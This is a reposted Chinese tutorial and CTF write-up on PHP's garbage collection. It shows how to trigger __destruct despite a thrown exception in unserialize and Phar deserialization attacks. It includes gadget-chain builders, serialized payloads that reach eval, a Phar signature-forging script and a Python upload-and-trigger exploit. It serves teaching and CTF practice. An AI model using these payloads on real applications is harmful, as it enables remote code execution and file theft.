浅析PHP GC垃圾回收机制及常见利用方式

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2022年11月16日02:09:51评论37 views字数 12177阅读40分35秒阅读模式

文章由作者授权转载，首发于：先知社区

https://xz.aliyun.com/t/11843

前言

上周战队知识分享时，H3018大师傅讲了PHP GC回收机制的利用，学会了如何去绕过抛出异常。H3018大师傅讲述的很清楚，大家有兴趣的可以去看一下哇，链接如下https://www.bilibili.com/video/BV16g411s7CH/这里没有怎么涉及底层原理，只是将我自己的见解简述一下，希望能对正在学习PHP反序列化的师傅有所帮助。

GC

什么是GC

Gc，全称Garbage collection，即垃圾回收机制。在PHP中有这个GC机制

PHP中的GC

在PHP中，使用引用计数和回收周期来自动管理内存对象的，当一个变量被设置为NULL，或者没有任何指针指向时，它就会被变成垃圾，被GC机制自动回收掉那么这里的话我们就可以理解为，当一个对象没有被引用时，就会被GC机制回收，在回收的过程中，它会自动触发_destruct方法，而这也就是我们绕过抛出异常的关键点。

上文说到PHP是使用引用计数来进行管理的，接下来简单说一下。

引用计数

当我们PHP创建一个变量时，这个变量会被存储在一个名为zval的变量容器中。在这个zval变量容器中，不仅包含变量的类型和值，还包含两个字节的额外信息。

第一个字节名为is_ref，是bool值，它用来标识这个变量是否是属于引用集合。PHP引擎通过这个字节来区分普通变量和引用变量，由于PHP允许用户使用&来使用自定义引用，zval变量容器中还有一个内部引用计数机制，来优化内存使用。

第二个字节是refcount，它用来表示指向zval变量容器的变量个数。所有的符号存储在一个符号表中，其中每个符号都有作用域。

看接下来的这个例子

<?php
$a = "new string"; 
xdebug_debug_zval('a'); //用于查看变量a的zval变量容器的内容
?>

我们可以看到这里定义了一个变量$a，生成了类型为String和值为new string的变量容器，而对于两个额外的字节，is_ref和refcount，我们这里可以看到是不存在引用的，所以is_ref的值应该是false，而refcount是表示变量个数的，那么这里就应该是1，接下来我们验证一下浅析PHP GC垃圾回收机制及常见利用方式接下来我们添加一个引用

<?php
<?php
$a="new string"; 
$b =&$a;
xdebug_debug_zval('a');
?>

按照之前的思路，每生成一个变量就有一个zval记录其类型和值以及两个额外字节，那我们这里的话a的refcount应该是1，is_ref应该是true，接下来我们验证一下浅析PHP GC垃圾回收机制及常见利用方式哎，结果不同于我们所想的，这是为什么呢？因为同一变量容器被变量a和变量b关联，当没必要时,php不会去复制已生成的变量容器。所以这一个zval容器存储了a和b两个变量，就使得refcount的值为2.

接下来说一下容器的销毁这个事。变量容器在refcount变成0时就被销毁。它这个值是如何减少的呢，当函数执行结束或者对变量调用了unset()函数,refcount就会减1。看个例子

<?php
$a="new string"; 
$b =&$a;
$c =&$b;
xdebug_debug_zval('a');
unset($b,$c);
xdebug_debug_zval('a');
?>

按照刚刚所说，那么这里的首次输出的is_ref应该是true，refcount为3。第二次输出的is_ref值是什么呢，我们可以看到引用$a的变量$b和$c都被unset了，所以这里的is_ref应该是false，也是因为unset，这里的refcount应该从3变成了1，接下来验证一下浅析PHP GC垃圾回收机制及常见利用方式

GC在PHP 反序列化中的利用

GC如果在PHP反序列化中生效，那它就会直接触发_destruct方法，接下来以例子来演示。

demo

首先来看变量被unset函数处理的情况

<?php
highlight_file(__FILE__); 
error_reporting(0); 
class test{ 
    public $num; 
    public function __construct($num) {
        $this->num = $num; echo $this->num."__construct"."</br>"; 
    }
    public function __destruct(){
        echo $this->num."__destruct()"."</br>"; 
    }
    }
$a = new test(1); 
unset($a);
$b = new test(2); 
$c = new test(3);

浅析PHP GC垃圾回收机制及常见利用方式这个是一种方法，还有一种方法，如下。我们知道当对象为NULL时也是可以触发_destruct的，所以我们这里的话来试一下反序列化一个数组，然后写入第一个索引为对象，将第二个赋值为0，看一下能否触发。(原理我感觉应该是给第一个对象赋值为0键时，此时又将0赋值给了另一个，就相当于它失去了引用，被视为垃圾给回收了)demo如下

<?php
show_source(__FILE__);
$flag = "flag";
class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}
$a = unserialize($_GET['1']);
throw new Exception('你想干什么');

我们可以看到这里在反序列化后就抛出异常了，如果按照正常的话，是无法触发_destruct的，我们按照先前所想，这里先反序列化一个数组

<?php
show_source(__FILE__);

class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}
$a=array(new B,0);

echo serialize($a);

得到序列化文本如下

a:2:{i:0;O:1:"B":0:{}i:1;i:0;}
对象类型:长度:{类型:长度;类型:长度:类名:值类型:长度;类型:长度;}
数组:长度为2::{int型:长度0;类:长度为1:类名为"B":值为0 int型:值为1：int型;值为0

接下来我们按照我们所想，将第二个索引置空，就可以触发GC回收机制，因此修改序列化文本为

a:2:{i:0;O:1:"B":0:{}i:0;i:0;}

去尝试一下成功触发，看到这里也就知道了大致的思路浅析PHP GC垃圾回收机制及常见利用方式这里可以看到也是成功提前触发了_destruct，因为如果正常情况的话，有异常抛出就无法再触发_destruct了，而这个思路也是我们在CTF中绕过异常的一个方法。

Gc在Phar反序列化中的利用

Gc在Phar反序列化中类似于PHP反序列化，也是当遇到抛出异常时，可以借用上面的方法来实现绕过，下面以demo来简单讲解一下。

demo

<?php 
highlight_file(__FILE__); 
class Test{ 
    public $code; 
    public function __destruct(){ 
        eval($this -> code); 
        } 
}
$filename = $_GET['filename']; 
echo file_get_contents($filename); 
throw new Error("Garbage collection"); 
?>

看到file_get_contents函数和类，就想到Phar反序列化，所以接下来尝试借助file_get_contents方法来进行反序列化(因为这里只是本地测试一下，所以不再设置文件上传那些，直接将生成的Phar文件放置本地进行利用了)。构造Exp如下

<?php 
class test{
    public $code= "phpinfo();";
}
$a = new test();
$c = array($a,0); 
$b = new Phar('1.phar',0);//后缀名必须为phar
$b->startBuffering();//开始缓冲 Phar 写操作
$b->setMetadata($c);//自定义的meta-data存入manifest
$b->setStub("<?php __HALT_COMPILER();?>");//设置stub，stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件，可以利用这点绕过文件上传检测
$b->addFromString("test.txt","test");//添加要压缩的文件
$b->stopBuffering();//停止缓冲对 Phar 归档的写入请求，并将更改保存到磁盘
?>

注：需要去检查一下php.ini中的phar.readonly选项，如果是On，需要修改为Off。否则会报错，无法生成phar文件小Tip: 这里如果有师傅不懂为什么这样写，可以学一下Phar反序列化，我之前也写过一篇关于Phar反序列化的文章，师傅们可以参考一下https://tttang.com/archive/1732/

浅析PHP GC垃圾回收机制及常见利用方式用010editor打开phar文件浅析PHP GC垃圾回收机制及常见利用方式可以发现i:1，按照我们之前的思路，我们这里将i:1修改成i:0就可以绕过抛出异常，但在Phar文件中，我们是不能任意修改数据的，否则就会因为签名错误而导致文件出错，不过签名是可以进行伪造的，所以我们先将1.phar中的i:1修改为i:0，接下来利用脚本使得签名正确。脚本如下

import gzip
from hashlib import sha1
with open('D:\phpStudy\PHPTutorial\WWWhtml\1.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
open("2.phar","wb").write(newf)

打开2.phar文件查看一下浅析PHP GC垃圾回收机制及常见利用方式变成i:0且文件正常，接下来利用phar伪协议包含这个文件

$filename=phar://2.phar

浅析PHP GC垃圾回收机制及常见利用方式可以发现成功输出了phpinfo。

CTF实战

例题1

这道题是H3018大师傅在知识分享时的例题，在这里引用一下，源码如下

<?php 
highlight_file(__FILE__); 
error_reporting(0); 
class cg0{ 
    public $num; 
    public function __destruct(){ 
        echo $this->num."hello __destruct"; 
        } 
    }
class cg1{ 
    public $string; 
    public function __toString() { 
        echo "hello __toString"; 
        $this->string->flag(); 
        } 
    }
class cg2{ 
    public $cmd; 
    public function flag(){ 
        echo "hello __flag()"; 
        eval($this->cmd); 
    } 
}
$a=unserialize($_GET['code']); 
throw new Exception("Garbage collection"); 
?>

这道题的话思路比较简单

1、首先调用__destrcut，然后通过num参数触发__tostring
2、给string参数赋值，调用cg2的flag方法
3、给cmd参数赋值，实现RCE

但我们会发现这里首先要用到的就是__destruct，而代码末尾带有throw new Exception("Garbage collection");，即异常抛出，所以我们首先需要解决的就是如何绕过他，上文在讲GC中的PHP反序列化时,demo已经给出了方法，即先传值给数组，而后将第二个索引置空即可，因此我们这里按照平常思路，先构造出payload

<?php 
highlight_file(__FILE__); 
error_reporting(0); 
class cg0{ 
    public $num;
} 
class cg1{ 
    public $string; 
}
class cg2{ 
    public $cmd; 
}
$a = new cg0();
$a->num=new cg1();
$a->num->string=new cg2();
$a->num->string->cmd="phpinfo();";
$b=array($a,0);
echo serialize($b);

得到

a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}

将i:1修改为i:0

a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}

接下来去尝试一下浅析PHP GC垃圾回收机制及常见利用方式成功触发phpinfo()

CTFShow[卷王杯]easy unserialize

源码如下

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
include("./HappyYear.php");

class one {
    public $object;

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    protected $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

简单梳理一下思路，触发MeMeMe方法为最终目标，以_destruct为起点，绕过抛出异常的方式同之前即可接下来看一下它的大致流程首先触发_destruct，那这里的add()无疑是让我们触发_call魔法方法，因此接下来到_call这里，发现这里拼接了Me，那它肯定就指向了addMe()这个方法，接下来看到$this->filename，想到触发_toString魔术方法，接下来根进_toString方法，发现object->string，那么这个的话就是触发_get方法了，因此接着看get()魔术方法，这个时候就有一个问题，怎么通过$var[$name]();来进入one类的MeMeMe方法，我们这里可以控制$var的值，当给它传值为数组，内容为类和方法时，就可成功触发类中的方法，所以我们这里给$var赋值为[new one(),MeMeMe]即可，此时还有一个问题，就是这个MeMeMe中的function($fn, $prev)如何理解，接下来我们本地测试一下浅析PHP GC垃圾回收机制及常见利用方式发现这个$fn是变量值，而$prev则是变量名，因此这里我们新增一个变量名为year_parm，且其值为Happy_func即可绕过if语句，接下来就可以去写Exp了

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
include("./HappyYear.php");

class one {
    public $year_parm=array("Happy_func");
    public $object;
    

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    public $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(array("string"=>[new one(),"MeMeMe"]));
$b = array($a,NULL);
echo urlencode(serialize($b));

得到payload

a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A1%3BN%3B%7D

接下来解码一下

a:2:{i:0;O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";O:6:"second":1:{s:8:"filename";O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";O:5:"third":1:{s:13:"thirdstring";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";N;}i:1;s:6:"MeMeMe";}}}}}}i:1;N;}

修改i:1为i:0再进行URL编码，得到最终payload

a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A0%3BN%3B%7D

浅析PHP GC垃圾回收机制及常见利用方式

[NSSCTF]prize_p1

题目环境https://www.ctfer.vip/problem/14源码如下

<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {
    function __destruct() {
        echo getenv("FLAG");
    }
}

class A {
    public $config;
    function __destruct() {
        if ($this->config == 'w') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗，我的建议是不要那样做。");
            }
            file_put_contents("./tmp/a.txt", $data);
        } else if ($this->config == 'r') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗，我的建议是不要那样做。");
            }
            echo file_get_contents($data);
        }
    }
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
    die("我知道你想干吗，我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

看到file_put_contents，file_get_contents以及魔术方法__destruct，想到这里可以利用Phar反序列化，我们写个文件然后用phar伪协议包含这个文件就可以触发魔术方法，接下来说一下几个需要绕过的点

1、过滤了部分关键词，可以看到flag等关键词被绕过
2、Phar文件含有很多不可见字符，怎么用file_put_contents函数来完整的上传
3、throw new Error的绕过，即绕过抛出异常

对于第一点，我们这里需要知道一个知识，就是当Phar文件进行gzip压缩后，是不影响其功能的，所以我们这里可以通过对文件进行gzip压缩来绕过，第二点，当我们使用Python脚本来上传文件时，就可以完整的上传文件，第三点，这算的上是一个老生常谈的问题了，反序列化写数组而后给另一个赋值为0从而绕过。

思路有了，接下来开始解题，首先构造Phar文件

<?php
class getflag{

}
$a=new getflag();
$b=array($a,0);
$phar = new Phar("ph1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($b); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行php文件后得到phar文件，打开文件修改i:1为i:0，然后再用脚本得到正确签名

import gzip 
from hashlib import sha1
file = open("ph1.phar","rb").read() 
text = file[:-28] #读取开始到末尾除签名外内容 
last = file[-8:] #读取最后8位的GBMB和签名flag 
new_file = text+sha1(text).digest() + last #生成新的文件内容，主要是此时sha1正确了。
open("ph2.phar","wb").write(new_file)

此时就得到了正确的phar文件，接下来构造写入文件的exp

<?php
class A {
    public $config='w';
}
$a = new A();
echo serialize($a);
?>

得到写入文件的payload为O:1:"A":1:{s:6:"config";s:1:"w";}，同理得到读取文件的payload为O:1:"A":1:{s:6:"config";s:1:"r";}接下来有phar文件了，我们只需要对文件进行压缩来绕过关键词检测，再借用python脚本和写入文件的payload，就可以上传文件，同时再利用读取文件的payload就可以触发Phar反序列化，得到flag，最终脚本如下

import requests
import gzip
import re

url = 'http://1.14.71.254:28496/'

file = open("ph2.phar", "rb") #打开文件
file_out = gzip.open("phar.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()

requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'

    },
    data={
        0: open('phar.zip', 'rb').read()
    }
) # 写入

res = requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'
    },
    data={
        0: 'phar://tmp/a.txt'
    }
) # 触发
res.encoding='utf-8'
flag = re.compile('(NSSCTF{.+?})').findall(res.text)[0]
print(flag)

但我这里没有得到flag，看一些师傅说，这里的/tmp/a.txt无法写入内容，所以就不放flag截图了，思路应该是没什么问题的。

参考文章

https://xz.aliyun.com/t/10961#toc-1http://blog.m1kael.cn/index.php/archives/14/https://yangxikun.com/php/2013/08/24/php-garbage-collection-mechanism.html

浅析PHP GC垃圾回收机制及常见利用方式

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浅析PHP GC垃圾回收机制及常见利用方式

原文始发于微信公众号（亿人安全）：浅析PHP GC垃圾回收机制及常见利用方式

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  • 本文由 发表于 2022年11月16日02:09:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   浅析PHP GC垃圾回收机制及常见利用方式http://cn-sec.com/archives/1412174.html

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